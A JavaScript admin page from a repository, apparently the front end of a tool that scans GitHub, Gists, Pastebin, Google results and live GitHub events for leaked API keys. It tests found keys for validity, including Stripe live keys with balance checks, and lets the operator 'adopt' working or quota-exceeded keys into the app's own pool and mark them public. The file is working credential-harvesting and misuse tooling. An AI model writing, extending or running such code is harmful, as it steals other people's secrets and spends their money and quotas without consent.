Files
gott/wwwroot/js/pages/api-keys-page.js
T
Meleki 3cd35ebbfa feat: Stripe-Key-Checker, Krea AI Pattern, Scan-Progress-Tracking
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), Live/Test-Erkennung, Balance, Account-Details
- KeyPatterns: Stripe-Patterns einkommentiert (sk_live_, sk_test_), Krea AI Pattern (UUID:Token), Mindest-Suchlänge 4
- KeyScannerService: Stripe-Check integriert, Auto-Check nach Scan entfernt (manuell separat), Progress-Tracking (Phase, Detail, Current/Total, KeysFound)
- ApiKeysEndpoint: Stripe in HandleCheck/HandleCheckAll/HandleAdopt, Progress im Status-Endpoint
- Frontend: Live-Fortschrittsanzeige mit Spinner, Phase, Query, Counter, Polling 1.5s, Krea AI in typeNames/typeIcons
2026-03-14 14:34:02 +01:00

768 lines
29 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// ── API Keys Page (Admin) ──
function formatKeyStatus(status) {
var map = {
'valid': '✅ Gültig',
'invalid': '❌ Ungültig',
'rate_limited': '⚠️ Rate Limited',
'quota_exceeded': '⚠️ Quota Exceeded',
'error': '⚠️ Fehler',
'unchecked': '⏳ Ungeprüft'
};
return map[status] || status;
}
function createUsageBadge(usage5h, usage7d) {
if (usage5h == null && usage7d == null) return null;
var badge = document.createElement('div');
badge.className = 'usage-badge';
function addRow(label, pct) {
if (pct == null) return;
var row = document.createElement('div');
row.className = 'usage-row';
var lbl = document.createElement('span');
lbl.className = 'usage-label';
lbl.textContent = label;
var track = document.createElement('div');
track.className = 'usage-track';
var fill = document.createElement('div');
fill.className = 'usage-fill';
if (pct >= 90) fill.className += ' danger';
else if (pct >= 70) fill.className += ' warn';
fill.style.width = Math.min(pct, 100) + '%';
track.appendChild(fill);
var val = document.createElement('span');
val.className = 'usage-pct';
val.textContent = pct + '%';
row.appendChild(lbl);
row.appendChild(track);
row.appendChild(val);
badge.appendChild(row);
}
addRow('Sitzung', usage5h);
addRow('Woche', usage7d);
return badge;
}
registerPage('api-keys', {
async init() {
if (!currentUser || !currentUser.isAdmin) {
navigateTo('dashboard');
return;
}
var keys = [];
var editingKeyId = null;
var list = document.getElementById('apiKeysList');
var newBtn = document.getElementById('apiKeysNewBtn');
var checkAllBtn = document.getElementById('apiKeysCheckAllBtn');
var form = document.getElementById('apiKeysForm');
var formTitle = document.getElementById('apiKeysFormTitle');
var providerSelect = document.getElementById('apiKeysProvider');
var nameInput = document.getElementById('apiKeysName');
var keyInput = document.getElementById('apiKeysKey');
var saveBtn = document.getElementById('apiKeysFormSaveBtn');
function renderKeys() {
list.innerHTML = '';
if (keys.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine API-Keys konfiguriert.';
list.appendChild(empty);
return;
}
keys.forEach(function(key) {
var wrapper = document.createElement('div');
var row = document.createElement('div');
row.className = 'admin-user-row';
var info = document.createElement('div');
info.className = 'admin-user-info';
var nameSpan = document.createElement('span');
nameSpan.className = 'admin-user-name';
nameSpan.textContent = key.name;
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var parts = [key.provider];
parts.push(formatKeyStatus(key.status));
if (key.plan) parts.push(key.plan);
if (key.checkedAt) parts.push(new Date(key.checkedAt).toLocaleString());
metaSpan.textContent = parts.join(' · ');
info.appendChild(nameSpan);
if (key.sourceUrl) {
var urlSpan = document.createElement('a');
urlSpan.className = 'admin-user-meta';
urlSpan.href = key.sourceUrl;
urlSpan.target = '_blank';
urlSpan.rel = 'noopener';
urlSpan.textContent = key.sourceUrl.replace('https://github.com/', '');
info.appendChild(urlSpan);
}
info.appendChild(metaSpan);
// Toggle + Usage-Badge nebeneinander
var badgeRow = document.createElement('div');
badgeRow.style.cssText = 'display:flex;align-items:center;gap:8px;margin-top:2px';
var publicBtn = document.createElement('button');
publicBtn.className = 'icon-btn';
publicBtn.title = key.isPublic ? 'Öffentlich (klicken zum Privatschalten)' : 'Privat (klicken zum Veröffentlichen)';
publicBtn.innerHTML = key.isPublic
? '<i class="fa fa-globe" style="color:var(--accent)"></i>'
: '<i class="fa fa-lock"></i>';
publicBtn.addEventListener('click', function() { togglePublic(key); });
badgeRow.appendChild(publicBtn);
var usageBadge = createUsageBadge(key.usage5h, key.usage7d);
if (usageBadge) badgeRow.appendChild(usageBadge);
// Status-Zeile (für Check-Ergebnis)
var statusLine = document.createElement('div');
statusLine.className = 'admin-user-meta';
statusLine.style.cssText = 'padding:0 var(--box-padding) .5rem;display:none;font-size:.85em';
// Check – rechts neben Usage-Badge
if (key.provider === 'anthropic' || key.provider === 'openai' || key.provider === 'google') {
var checkBtn = document.createElement('button');
checkBtn.className = 'icon-btn';
checkBtn.title = 'Key prüfen';
checkBtn.innerHTML = '<i class="fa fa-refresh"></i>';
checkBtn.addEventListener('click', function() { checkKey(key, checkBtn, statusLine); });
badgeRow.appendChild(checkBtn);
}
info.appendChild(badgeRow);
var actions = document.createElement('div');
actions.className = 'admin-user-actions';
// Bearbeiten
var editBtn = document.createElement('button');
editBtn.className = 'icon-btn';
editBtn.title = 'Bearbeiten';
editBtn.innerHTML = '<i class="fa fa-pencil"></i>';
editBtn.addEventListener('click', function() { startEdit(key); });
actions.appendChild(editBtn);
// Löschen
var deleteBtn = document.createElement('button');
deleteBtn.className = 'icon-btn';
deleteBtn.title = 'Löschen';
deleteBtn.innerHTML = '<i class="fa fa-trash"></i>';
deleteBtn.addEventListener('click', function() { deleteKey(key); });
actions.appendChild(deleteBtn);
row.appendChild(info);
row.appendChild(actions);
wrapper.appendChild(row);
wrapper.appendChild(statusLine);
list.appendChild(wrapper);
});
}
async function loadKeys() {
try {
keys = await apiGetApiKeys();
renderKeys();
} catch (err) {
showToast(err.message, 'error');
}
}
async function checkKey(key, btn, statusLine) {
var origHtml = btn.innerHTML;
btn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
btn.disabled = true;
statusLine.style.display = 'none';
statusLine.innerHTML = '';
try {
var result = await apiCheckApiKey(key.keyId);
statusLine.style.opacity = '1';
statusLine.innerHTML = '';
if (result.status === 'valid') {
var text = document.createElement('span');
var parts = [formatKeyStatus('valid'), result.plan];
if (result.overage != null && result.overage > 0) parts.push('Overage: ' + result.overage + '%');
text.textContent = parts.join(' · ');
statusLine.appendChild(text);
var badge = createUsageBadge(result.usage5h, result.usage7d);
if (badge) { badge.style.marginTop = '4px'; statusLine.appendChild(badge); }
} else {
statusLine.textContent = '❌ ' + (result.message || 'Unbekannter Fehler');
}
await loadKeys();
} catch (err) {
statusLine.style.opacity = '1';
statusLine.textContent = '❌ ' + err.message;
} finally {
btn.innerHTML = origHtml;
btn.disabled = false;
}
}
function startEdit(key) {
editingKeyId = key.keyId;
formTitle.textContent = 'API-Key bearbeiten';
providerSelect.value = key.provider;
providerSelect.disabled = true;
nameInput.value = key.name;
keyInput.value = key.apiKey;
saveBtn.textContent = 'Speichern';
form.hidden = false;
nameInput.focus();
}
async function togglePublic(key) {
try {
await apiToggleApiKeyPublic(key.keyId);
showToast(key.name + (key.isPublic ? ' privat geschaltet' : ' veröffentlicht'));
await loadKeys();
} catch (err) {
showToast(err.message, 'error');
}
}
async function deleteKey(key) {
if (!confirm('API-Key "' + key.name + '" wirklich löschen?')) return;
try {
await apiDeleteApiKey(key.keyId);
showToast('API-Key gelöscht');
await loadKeys();
} catch (err) {
showToast(err.message, 'error');
}
}
// Alle Keys prüfen
checkAllBtn.addEventListener('click', function() {
withButtonLoading(checkAllBtn, 'Alle prüfen', async function() {
try {
var result = await apiCheckAllApiKeys();
showToast(result.checked_ + ' Keys geprüft');
await loadKeys();
} catch (err) {
showToast(err.message, 'error');
}
});
});
// Neuer Key
newBtn.addEventListener('click', function() {
editingKeyId = null;
formTitle.textContent = 'Neuer API-Key';
providerSelect.value = 'anthropic';
providerSelect.disabled = false;
nameInput.value = '';
keyInput.value = '';
saveBtn.textContent = 'Erstellen';
form.hidden = false;
nameInput.focus();
});
// Speichern (Erstellen oder Bearbeiten)
saveBtn.addEventListener('click', () => withButtonLoading(saveBtn, saveBtn.textContent, async () => {
var name = nameInput.value.trim();
if (!name) {
showToast('Name erforderlich', 'error');
return;
}
try {
if (editingKeyId) {
// Bearbeiten
var data = { name: name };
var newKey = keyInput.value.trim();
if (newKey) data.apiKey = newKey;
await apiUpdateApiKey(editingKeyId, data);
showToast('API-Key aktualisiert');
} else {
// Erstellen
var provider = providerSelect.value;
var apiKey = keyInput.value.trim();
if (!apiKey) {
showToast('API-Key erforderlich', 'error');
return;
}
await apiCreateApiKey({ provider: provider, name: name, apiKey: apiKey });
showToast('API-Key erstellt');
}
form.hidden = true;
editingKeyId = null;
await loadKeys();
} catch (err) {
showToast(err.message, 'error');
}
}));
await loadKeys();
// ── Scanner UI ──
var scanQuickBtn = document.getElementById('scanQuickBtn');
var scanWebBtn = document.getElementById('scanWebBtn');
var scanFullBtn = document.getElementById('scanFullBtn');
var recheckAllScannedBtn = document.getElementById('recheckAllScannedBtn');
var scanBtns = [scanQuickBtn, scanWebBtn, scanFullBtn];
var scanStatusEl = document.getElementById('scanStatus');
var scannedList = document.getElementById('scannedKeysList');
var scannedKeys = [];
var selectedType = null;
var checkUncheckedAbort = false;
var pollTimer = null;
var typeNames = {
anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic',
openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy',
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
sendgrid: 'SendGrid', slack: 'Slack', krea_ai: 'Krea AI'
};
var typeIcons = {
anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠',
openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢',
google_api: '🔵', aws_access_key: '🟡',
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
sendgrid: '📧', slack: '💬', krea_ai: '🎨'
};
function renderSummary(summary) {
scannedList.innerHTML = '';
if (!summary || summary.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine gescannten Keys vorhanden.';
scannedList.appendChild(empty);
return;
}
summary.forEach(function(s) {
var row = document.createElement('div');
row.className = 'admin-user-row';
row.style.cursor = 'pointer';
var info = document.createElement('div');
info.className = 'admin-user-info';
var nameSpan = document.createElement('span');
nameSpan.className = 'admin-user-name';
var icon = typeIcons[s.type] || '🔑';
nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type);
info.appendChild(nameSpan);
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var parts = [s.total + ' Keys'];
if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig');
if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig');
if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft');
if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen');
metaSpan.textContent = parts.join(' · ');
info.appendChild(metaSpan);
var badge = document.createElement('div');
badge.className = 'admin-user-actions';
badge.innerHTML = '<i class="fa fa-chevron-right" style="opacity:.5"></i>';
row.appendChild(info);
row.appendChild(badge);
row.addEventListener('click', function() { loadScannedKeysByType(s.type); });
scannedList.appendChild(row);
});
}
function renderScannedKeys() {
scannedList.innerHTML = '';
// Zurück-Button
var backRow = document.createElement('div');
backRow.className = 'admin-user-row';
backRow.style.cursor = 'pointer';
backRow.style.opacity = '.7';
var backInfo = document.createElement('div');
backInfo.className = 'admin-user-info';
var backName = document.createElement('span');
backName.className = 'admin-user-name';
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
backInfo.appendChild(backName);
backRow.appendChild(backInfo);
backRow.addEventListener('click', function() { selectedType = null; checkUncheckedAbort = true; loadSummary(); });
scannedList.appendChild(backRow);
// Toolbar: "Ungeprüfte prüfen"-Button
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; });
if (uncheckedKeys.length > 0) {
var toolbar = document.createElement('div');
toolbar.style.cssText = 'display:flex;align-items:center;gap:8px;padding:8px var(--box-padding);border-bottom:1px solid var(--border)';
var checkUncheckedBtn = document.createElement('button');
checkUncheckedBtn.className = 'section-add-btn';
checkUncheckedBtn.innerHTML = '<i class="fa fa-search"></i> ' + uncheckedKeys.length + ' Ungeprüfte prüfen';
var progressSpan = document.createElement('span');
progressSpan.className = 'admin-user-meta';
progressSpan.style.marginLeft = '8px';
toolbar.appendChild(checkUncheckedBtn);
toolbar.appendChild(progressSpan);
scannedList.appendChild(toolbar);
checkUncheckedBtn.addEventListener('click', async function() {
checkUncheckedAbort = false;
checkUncheckedBtn.disabled = true;
var stopBtn = document.createElement('button');
stopBtn.className = 'icon-btn';
stopBtn.title = 'Abbrechen';
stopBtn.innerHTML = '<i class="fa fa-stop" style="color:var(--danger)"></i>';
stopBtn.addEventListener('click', function() { checkUncheckedAbort = true; });
toolbar.appendChild(stopBtn);
var checked = 0;
var found = 0;
for (var i = 0; i < uncheckedKeys.length; i++) {
if (checkUncheckedAbort) {
progressSpan.textContent = 'Abgebrochen bei ' + checked + '/' + uncheckedKeys.length;
break;
}
var sk = uncheckedKeys[i];
progressSpan.textContent = (i + 1) + '/' + uncheckedKeys.length + ' prüfe…';
checkUncheckedBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (i + 1) + '/' + uncheckedKeys.length;
try {
var result = await apiRecheckScannedKey(sk.scannedKeyId);
checked++;
if (result && result.status === 'valid') {
found++;
progressSpan.textContent = '✅ Gültigen Key gefunden! Stoppe.';
showToast('Gültigen Key gefunden!', 'success');
break;
}
} catch (err) {
checked++;
}
}
if (!checkUncheckedAbort && found === 0) {
progressSpan.textContent = checked + ' geprüft, keinen gültigen gefunden.';
}
checkUncheckedBtn.disabled = false;
checkUncheckedBtn.innerHTML = '<i class="fa fa-search"></i> Ungeprüfte prüfen';
if (stopBtn.parentNode) stopBtn.parentNode.removeChild(stopBtn);
await loadScannedKeysByType(selectedType);
});
}
if (visibleKeys.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.';
scannedList.appendChild(empty);
return;
}
visibleKeys.forEach(function(sk) {
var row = document.createElement('div');
row.className = 'admin-user-row';
var info = document.createElement('div');
info.className = 'admin-user-info';
info.style.minWidth = '0';
if (sk.sourceUrl) {
var nameSpan = document.createElement('a');
nameSpan.className = 'admin-user-name';
nameSpan.href = sk.sourceUrl;
nameSpan.target = '_blank';
nameSpan.rel = 'noopener';
var displayUrl = sk.sourceUrl.replace('https://github.com/', '').replace('https://www.', '').replace('https://', '');
if (displayUrl.length > 80) displayUrl = displayUrl.substring(0, 77) + '…';
nameSpan.textContent = displayUrl;
info.appendChild(nameSpan);
}
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var metaParts = [];
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' };
metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
metaParts.push(formatKeyStatus(sk.status));
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
metaSpan.textContent = metaParts.join(' · ');
info.appendChild(metaSpan);
var skUsageBadge = createUsageBadge(sk.usage5h, sk.usage7d);
if (skUsageBadge) info.appendChild(skUsageBadge);
var actions = document.createElement('div');
actions.className = 'admin-user-actions';
// Recheck
var recheckBtn = document.createElement('button');
recheckBtn.className = 'icon-btn';
recheckBtn.title = 'Erneut prüfen';
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
recheckBtn.addEventListener('click', async function(e) {
e.stopPropagation();
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
recheckBtn.disabled = true;
try {
await apiRecheckScannedKey(sk.scannedKeyId);
await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); }
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
});
actions.appendChild(recheckBtn);
// Übernehmen (bei valid oder quota_exceeded)
if (sk.status === 'valid' || sk.status === 'quota_exceeded') {
var adoptBtn = document.createElement('button');
adoptBtn.className = 'icon-btn';
adoptBtn.title = 'Als API-Key übernehmen';
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
adoptBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try {
await apiAdoptScannedKey(sk.scannedKeyId);
showToast('Key übernommen');
await loadScannedKeysByType(selectedType);
await loadKeys();
} catch (err) { showToast(err.message, 'error'); }
});
actions.appendChild(adoptBtn);
}
// Löschen
var delBtn = document.createElement('button');
delBtn.className = 'icon-btn';
delBtn.title = 'Ignorieren';
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
delBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try {
await apiDeleteScannedKey(sk.scannedKeyId);
await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); }
});
actions.appendChild(delBtn);
row.appendChild(info);
row.appendChild(actions);
scannedList.appendChild(row);
});
}
async function loadSummary() {
try {
var summary = await apiGetScannedKeysSummary();
renderSummary(summary);
} catch (err) { showToast(err.message, 'error'); }
}
async function loadScannedKeysByType(type) {
selectedType = type;
scannedList.innerHTML = '<div class="admin-user-meta" style="padding:1rem 0"><i class="fa fa-spinner fa-spin"></i> Lade Keys…</div>';
try {
scannedKeys = await apiGetScannedKeys(type);
renderScannedKeys();
} catch (err) { showToast(err.message, 'error'); }
}
async function loadScannedKeys() {
if (selectedType) {
await loadScannedKeysByType(selectedType);
} else {
await loadSummary();
}
}
var scanBtnDefaults = [
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },
{ btn: scanFullBtn, icon: 'fa-search', label: 'Full' }
];
function setScanButtonsDisabled(disabled) {
scanBtnDefaults.forEach(function(d) { d.btn.disabled = disabled; });
}
function resetScanButtons() {
scanBtnDefaults.forEach(function(d) {
d.btn.innerHTML = '<i class="fa ' + d.icon + '"></i> ' + d.label;
d.btn.disabled = false;
});
}
async function updateEventScannerStatus() {
var el = document.getElementById('eventScannerStatus');
if (!el) return;
try {
var s = await apiEventScannerStatus();
if (!s.enabled) { el.style.display = 'none'; return; }
el.style.display = 'block';
// Status-Zeile
var parts = ['🔴 Event Scanner'];
if (s.running) parts = ['🟢 Event Scanner'];
if (s.pollCount > 0) parts.push('Polls: ' + s.pollCount);
if (s.eventsPerHour > 0) parts.push('Events/h: ' + s.eventsPerHour);
if (s.keysFoundTotal > 0) parts.push('🔑 ' + s.keysFoundTotal + ' Key(s) gefunden');
if (s.lastPoll) {
var ago = Math.round((Date.now() - new Date(s.lastPoll).getTime()) / 1000);
parts.push('Letzter Poll: vor ' + (ago < 60 ? ago + 's' : Math.round(ago / 60) + 'min'));
}
if (s.lastError) parts.push('⚠️ ' + s.lastError);
var statusLine = parts.join(' · ');
// Log abrufen
var logData = await apiEventScannerLog();
var logLines = [];
if (logData.entries && logData.entries.length > 0) {
var last10 = logData.entries.slice(-10).reverse();
logLines = last10.map(function(e) {
var t = new Date(e.time).toLocaleTimeString();
var icon = e.type === 'key' ? '🔑' : e.type === 'error' ? '❌' : e.type === 'rate_limit' ? '⚠️' : '📡';
return icon + ' ' + t + ' ' + e.message;
});
}
// Immer klickbare Status-Zeile rendern
var wasOpen = false;
var oldLog = document.getElementById('eventScannerLog');
if (oldLog) wasOpen = oldLog.style.display !== 'none';
el.innerHTML = '';
var statusEl = document.createElement('div');
statusEl.style.cssText = 'cursor:pointer';
statusEl.title = logLines.length > 0 ? 'Klicken für Log' : '';
statusEl.textContent = statusLine;
el.appendChild(statusEl);
var logEl = document.createElement('div');
logEl.id = 'eventScannerLog';
logEl.style.cssText = 'white-space:pre-line;display:none';
logEl.textContent = logLines.length > 0 ? logLines.join('\n') : 'Noch keine Log-Einträge…';
if (wasOpen) logEl.style.display = 'block';
el.appendChild(logEl);
statusEl.addEventListener('click', function() {
logEl.style.display = logEl.style.display === 'none' ? 'block' : 'none';
});
} catch(e) { el.style.display = 'none'; }
}
function formatScanProgress(s) {
var parts = [];
if (s.phase) parts.push(s.phase);
if (s.total > 0) parts.push(s.current + '/' + s.total);
if (s.detail && s.detail !== s.phase) {
var d = s.detail.length > 60 ? s.detail.substring(0, 57) + '…' : s.detail;
parts.push(d);
}
if (s.keysFound > 0) parts.push('🔑 ' + s.keysFound + ' gefunden');
return parts.join(' · ');
}
async function updateScanStatus() {
try {
var s = await apiScanStatus();
if (s.running) {
var progressText = formatScanProgress(s);
scanStatusEl.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (progressText || 'Scan läuft…');
setScanButtonsDisabled(true);
if (!pollTimer) {
pollTimer = setInterval(async function() {
var st = await apiScanStatus();
if (st.running) {
var pt = formatScanProgress(st);
scanStatusEl.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (pt || 'Scan läuft…');
} else {
clearInterval(pollTimer);
pollTimer = null;
resetScanButtons();
await loadScannedKeys();
scanStatusEl.innerHTML = st.lastResult ? '✅ ' + st.lastResult : '';
}
}, 1500);
}
} else {
resetScanButtons();
if (s.lastResult) {
var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : '';
scanStatusEl.innerHTML = timeStr + s.lastResult;
}
}
} catch (err) { /* ignore */ }
}
async function triggerScan(mode, btn) {
try {
btn.innerHTML = '<i class="fa fa-spinner fa-spin"></i> Läuft…';
setScanButtonsDisabled(true);
await apiTriggerScan(mode);
showToast(mode.charAt(0).toUpperCase() + mode.slice(1) + '-Scan gestartet');
await updateScanStatus();
} catch (err) {
showToast(err.message, 'error');
resetScanButtons();
}
}
scanQuickBtn.addEventListener('click', function() { triggerScan('quick', scanQuickBtn); });
scanWebBtn.addEventListener('click', function() { triggerScan('web', scanWebBtn); });
scanFullBtn.addEventListener('click', function() { triggerScan('full', scanFullBtn); });
recheckAllScannedBtn.addEventListener('click', async function() {
recheckAllScannedBtn.disabled = true;
recheckAllScannedBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i> Prüfe…';
try {
var result = await apiRecheckAllScannedKeys();
showToast('Alle geprüft: ' + result.success + '/' + result.total + ' OK' + (result.errors > 0 ? ', ' + result.errors + ' Fehler' : ''), result.errors > 0 ? 'warning' : 'success');
await loadScannedKeys();
} catch(e) {
showToast('Fehler beim Prüfen', 'error');
} finally {
recheckAllScannedBtn.disabled = false;
recheckAllScannedBtn.innerHTML = '<i class="fa fa-refresh"></i> Alle prüfen';
}
});
await loadScannedKeys();
await updateScanStatus();
await updateEventScannerStatus();
// Event Scanner Status auto-refresh
var eventScannerTimer = setInterval(updateEventScannerStatus, 30000);
this._eventScannerTimer = eventScannerTimer;
},
destroy() {
if (this._eventScannerTimer) {
clearInterval(this._eventScannerTimer);
this._eventScannerTimer = null;
}
}
});